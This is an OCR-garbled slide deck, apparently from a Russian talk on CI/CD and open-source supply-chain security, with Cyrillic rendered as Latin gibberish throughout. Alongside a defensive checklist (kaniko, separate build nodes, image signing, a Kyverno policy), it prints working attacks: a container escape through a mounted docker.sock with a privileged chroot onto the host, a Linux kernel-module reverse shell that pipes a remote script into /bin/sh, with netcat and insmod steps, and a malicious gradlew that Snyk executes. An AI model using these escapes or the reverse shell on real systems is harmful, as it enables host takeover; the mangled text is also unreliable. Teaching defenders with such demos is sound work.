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[loyemy 3Ta Tema BaxHa?

Open Source ctan HeEOTbEMINEMOMN YAaCTbtO HALLEN XKN3HW,
a nHorga v besansrtepHaTUBHbLIM BapnaHTOM

B 10 Xe BpemMsa 310 npmBnekno 6onbluee BHUMaHWE
3M0YMbILLNEHHNKOB

Hauanuncb NoCTosIHHbIE aTakn, B T.4. HA aBTOPOB
Open Source-nakeToB

Kak He ocTtynuTtbcs, ncnone3ys Open Source?

B pamkax aToro kpaul-Kypca Mbl pa3bepemcsi, rae ctouTt
noacTpaxoBaTbCs
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Kak paboTtanu paHbLue?

npm




Kakune npoonembi?
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MosiBunucob SCM
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Kon oTnpaBnsieTcA Ha Bopkep-Hoay (9




COopka npoucxoauT yganeHHo
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Pe3ynbTraT BbiKkaTbiBaeTcs B prod ()
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[Tpobnema octanachb
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Checklist

He ncnone3yem shell-paHHepsl



Bce 3anyckaeTcs B KOHTeMHepax
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A BOpPYr Mbl cKayanu 4YTo-To He To? ()
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[NobaBnsiem dev-cermeHT




Kak obe3onacutbcs ewe?
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AddbekTut nu bad
dependency Ha cOOpKy? o
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KoHeuyHOo!

BeOb HyXeH docker-in-docker



Cbopka KoHTeHepa 6e3 docker @)

B Kaniko
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Docker
Engine



Ho Kakou, cnpalumBaeTcs,
Docker Ha npoae?
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Ho Kakou, cnpalumBaeTcs, ©
Docker Ha npoae?

 [1na Hac aTo npumep

» Bonpockl 6e3onacHocTn obuwmne ans noboro
Opyroro cpeacrtsa KoHTenHepusaunm Ha 6ase OCI
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TexHuku nooera n3 Docker

1 MOHTUpOBaHME XOCTOBOW CUCTEMbI SYS_ADMIN

Mcnonb3oBaHne NMPUMOHTUPOBAHHOIO

2 Docker Socket B

3  WHbekuumsa Shell-code SYS PTRACE

4  VHbekuma mooyna agpa SYS MODULE

5 UYTeHune cekpeToB C XocTa DAC_READ_ SEARCH

6 [lepesanucb hbannos Ha xocTe DAC_READ SEARCH, DAC_OVERRIDE

7 «notify_on_release» B cgroups SYS_ADMIN, DAC_OVERRIDE
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 /var/run/docker.sock

 IIna Docker-in-Docker (DinD) cbopok nHoraa
MOHTUPYETCA HaNpPsMyo B KOHTEUHEP
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[MpMmoHTMpOBaHHbLIN docker-socket (<0

 /var/run/docker.sock

 IIna Docker-in-Docker (DinD) cbopok nHoraa
MOHTUPYETCA HaNpPsMyo B KOHTEUHEP

 [lo3BonseT HaM NPAMO U3 KOHTEMHepPa NockiNnaTh
KoMmaHabl HA XxoctoBoun Docker
(Hanpumep, ona coopok)
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/bin/sh

/ # docker run -it --privileged -v /:/host/
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# 1s
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root sbin srv tmp var boot etc 1ib 11ib64
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rootaln-khakimov-vm:~# docker run -it --cap-drop=ALL
-v /var/run/docker.sock:/run/docker.sock docker:dind
/bin/sh

/ # docker run -it --privileged -v /:/host/ ubuntu
bash -c "chroot /host/”

# 1s

bin dev home 11b32 11bx32 media opt root
sbin srv tmp var boot etc 1ib 1ib64 lost+found
mnt proc run snap SYyS Uusr

# whoami

root



CAP oObI4YHOro KOHTEeNHepa

(XX

meltdown@docker:~$ docker exec -it mynginx bash

root@test:/# capsh --print

Current:

cap_chown,cap dac_override,cap fowner,cap fsetid,cap kill,cap setgid,cap setuid,cap setpcap,cap net
bind service,cap net raw,cap_sys_chroot,cap mknod,cap audit write,cap setfcap=ep

4 Bounding set

=cap_chown,cap dac override,cap fowner,cap fsetid,cap kill,cap setgid,cap setuid,cap setpcap,cap net
_bind _service,cap _net_raw,cap_sys_chroot,cap mknod,cap audit write,cap_ setfcap

Ambient set =

Current IAB:

!cap dac_read search,!cap linux immutable, !cap net broadcast,!cap net admin, !cap ipc lock, !cap ipc_o
wner, !cap_sys module, !cap sys rawio,!cap sys ptrace,!cap sys pacct, !cap sys admin, !cap sys boot, !cap
_sys_nice, !cap sys resource,!cap sys time,!cap sys tty config, !cap lease,!cap audit control,!cap mac
_override, !cap _mac_admin, !cap_syslog, !cap wake alarm, !cap block suspend, !cap _audit read, !cap_ perfmon
,!cap bpf, !cap checkpoint restore
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CAP privileged-kOHTeUHepa

o006
1 meltdown@docker:~$ docker exec -it privnginx bash
2 root@c8756b6el41l:/# capsh --print
3 Current: =ep
4 Bounding set

=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid
,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,ca
p_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,ca
p_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap
_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_w
ake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore

Ambient set =

Current IAB:



Bbin AppArmor un HeT ero

1 meltdown@docker:~/ubuntu$ docker ps --quiet --all | xargs docker inspect --format '{{ .Name }}:
AppArmorProfile={{ .AppArmorProfile }}'

2 /privnginx: AppArmorProfile=unconfined

3 /unruffled_hawking: AppArmorProfile=docker-default

4 /mynginx: AppArmorProfile=docker-default



A 4TO MOXHO caenaTb
NMPUKOSIbHOro?



A 4TO MOXHO coenaTb
NMPUKOSIbHOro?

[TloxakaTb docker yepes3
reverse-shell



Reverse-shell

OTO nepeHanpasfieHne SHELLS
000rnoYkn BBOAAa-BbIBOAA
(KOHCOMNb) aTakyemMowu

MalLWHbI cebe

REVERSE SHELISEVERYWHERE



Cam cnnour

MODULE_DESCRIPTION("RevShell");

MODULE_VERSION("1.0");

8 charx argv[] = {"/bin/bash","-c",

9 "/bin/curl https://reverse-shell.sh/<YOUR_STATIC_IP>:<YOUR_PORT> | /bin/sh", NULL};

10 static charx envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
i static int __init reverse_shell_init(void) {

12 return call_usermodehelper(argv[0@], argv, envp, UMH_WAIT_EXEC);

13 }

14  static void __exit reverse_shell_exit(void) {

1 #include <linux/kmod.h>

2 #include <linux/module.h>
4 MODULE_LICENSE("GPL");

5 MODULE_AUTHOR("DeviJoe");

15  printk(KERN_INFO "Exiting\n");
16 }
17 module_init(reverse_shell_init);

18 module_exit(reverse_shell_exit);
9



YTto ¢ HUM Oenaem?

« Komnunupyem, nony4yaem .Ko-moayrb
(kernel object)

* nc -vinp <YOUR PORT> — cnywaem nopt

* insmod sploit.ko — nomelwaem B moayrnb
Linux Kernel

©



[TosgpaBnsaro! Bbl BenukonenHbl!

Bo3sbmute B Harpaay b/l ¢ nepcoHanbHbIMY AaHHbLIMM



Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)



Pa3genum Bopkep-Hoabl
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Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax



Ho Bce ewle Kkoa n3 dev MoxXxeT
nonacTtb B prod



Pa3genum build-cpegbl




Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen



Kak ynpaBnaTb 3aBUCUMOCTAMU?

& oom

docker



XpaHUM 3aBUCUMOCTMU NOKanNbHO
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Kak 3awmtntb npon?
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Ienaem npokKcu un xocrten
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Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung-cbopok



[1pO 4YTO MbI 3a0bLININ?
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Pa3genbHble peno3ntopun
B registry

hosted repo
-

[ EEme————1 devrepo
g . prod repo




Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung-cbopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry



One more thing...

SS\
LR



Meu4TaloT Nu CKaHepbI
NPOCKaHMpoBaTbCA?
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BanambiBaem yepe3 Snyk

Snyk Hanpamyo BbINOSTHAET KoMaHabl U3 gradlew
Ha LUerneBoun cUcTeme

Q)



BanambiBaem yepe3 Snyk

Snyk Hanpamyo BbINOSTHAET KoMaHabl U3 gradlew
Ha LUerneBoun cUcTeme

$ gradlew
#!/bin/sh
touch hacked_snyk_gradle



[meltdown@ALEKSEYs-MacBook-Pro snyk gradle % 1s
build.gradle gradlew
Imeltdown@ALEKSEYs-MacBook-Pro snyk gradle % snyk test
Gradle Error (short):

Error running Gradle dependency analysis.

Please ensure you are calling the “snyk®™ command with correct arguments.
If the problem persists, contact support@snyk.io, providing the full error

message from above, starting with ===== DEBUG INFORMATION START =====.
meltdown@ALEKSEYs-MacBook-Pro snyk gradle % 1s
build.gradle gradlew hacked_snyk gradle

meltdown@ALEKSEYs-MacBook-Pro snyk_gradle % l

73
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Checklist

He ncnone3yem shell-paHHepsl Ha build-Hoae Tonbko cbopku!

_ CKaHepbl OTAENbHO
Dind = HeT nsonsauumn

(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung-cbopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry
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Checklist

He ncnone3yem shell-paHHepsl Ha build-Hoae Tonbko cbopku!

_ CKaHepbl OTAENbHO
Dind = HeT nsonsauumn

(ncnonb3yute kaniko) N30NMUPYEM KOHTYPbI ApYr OT gpyra

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung-cbopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry



JdemepHble (BpeMeHHbIe)
paHHepbI

AI



Checklist

He ncnone3yem shell-paHHepsl Ha build-Hoae Tonbko cbopku!

_ CKaHepbl OTAENbHO
Dind = HeT nsonsauumn

(ncnonb3yute kaniko) N30NMUPYEM KOHTYPbI ApYr OT gpyra

build n deploy adeMepHble paHHepPHI
Ha pasHbIX BOpPKep-HOO4AaX

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung- coopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry
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[Mpuemka Open Source

« [lobGaBrieHne 3aBUCUMOCTEN B PENO3UTOPUN TOSBKO
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* Ncnonb3oBaHne SCA/OSA

 [NpoBepka 3aBnCUMOCTEN Npu gobaBneHun (NPonucxoxaeHme
3aBMUCMMOCTU, KONMYECTBO 3arpy3ok, Hannine CVE, Issues,
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Mpmnemka Open Source (&)

[JobaBneHne 3aBUCUMOCTEN B PENO3NTOPUIN TONBKO
OOBEPEHHbIMU NnLamMu

Ncnonb3oBaHne SCA/OSA

[TpoBepka 3aBUcCMMOCTEN Npu AobdaBneHnn (NMPoNCXoXXaeHne
3aBUCUMOCTHU, KONMYECTBO 3arpy3ok, Hannume CVE, Issues,
KOHTPOJSIb LLENOCTHOCTU 3aBUCMMOCTN)

TecTupoBaHne 3aBUCMMOCTEN (MCNONb30BaHNE B NECOYHULE,
oTcrexuBaHue syscalls u 1.4.)

[TpoBepKka COOTBETCTBUSA 3aBMCMMOCTEN B OKPYKEHUM

Xapakop: gmsaccemonep u gekoMnunaTop



Checklist

He ncnone3yem shell-paHHepsl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOpKep-Hoaax

pasgenbHble Hoabl Ana build-cpen

oTAenbHbIe penbl Ans npoa-
n 6ung-cbopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry

Ha build-Hoae Tonbko cbopku!
CKaHepbl OTAENbHO

N30NMUPYEM KOHTYPbI ApYr OT gpyra
adeMepHble paHHepPHI

TecTmpyem 3aBnMCMMOCTU



He 3a0biBaem npo noanucob

* [lognucb KOMMUTOB
* [Nognuck 3aBucumocTemn )

* [lpoBepka ayTEHTUYHOCTU
aptedaKkToB npu cbopke
NPUNOXEHUS

* [lognuce camoro NPUNOXEHNA

* [lpoBepka apTedaKkToB npu
cbopke obpasa n nognuck
obpasa




: kyverno.io/vl
: ClusterPalicy

: check-image

: enforce
false

Fail

Kyverno Cosign . checc g
Policy

- Pod

- "your.registry/id"

<copepxumoe_cosign.pub>
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®



[TpoBepKa
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[TpoBepKa

YCTAHOBJIEHHOIo KOHTEeHTa

* Penuna cornacoBbiBaeTcs BO BHELLHEN CUCTEME

« Qukcmpyrotcs aucTpmbyTmBbl, 06pasbl, YapTbl U UX BEPCUM
* [Npu packaTke Ha Npof ykasbiBaeTCcHa penms

e [lonbITKka yCTaHOBUTL B PESIM3HOE OKHO CTOPOHHIOK BEPCUIO

BbI3OBET NageHue navnmanHa



Checklist

He ncnonb3yem shell paHHepbl

Dind = HeT nsonsauumn
(ncnonb3ymnTte kaniko)

build n deploy
Ha pa3HbIX BOPKepP Hoaax

pasgenbHble Hoabl ang build cpen

oTAenbHbIE penbl AN NpoAa
n 6ung coopok

OTAENbHbIE PEno3nTOpPUNn
N oTaenbHble Kno4yun! oansa
peno3ntopues registry

Ha build Hoge Tonbko coopku!
CKaHepbl OTAENbHO

N30NMUPYyeM KOHTYpa ApYyr OT gpyra
adeMepHble paHHepPHI
TecTupyem 3aBUCUMOCTH

He 3abbiBaeM npo NoAnmchb
N Banuaauuio
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OueHuTe paboTty
Sec-nonuuun

shell

dind (kaniko nnn otgensHada Hoaa)
pasgernbHble build n deploy
pasgenbHble build-Hoabl
pasfernbHbIe PENO3UTOPUM MaKETOB
pasgernbHble penbl registry n TOKeHbl
ncknovaem snunsiHne Ha build / ckaHepbl OTAENBHO
N30 INPYEM CETMEHTHI

adheMepHble paHHepSI

TecTupyem 3aBMCUMOCTU

noanucb 1 Banuaayus

JleB XakmmoB
@devijoe

npe3eHTauna no CCblJiKe:


https://bit.ly/sec-police

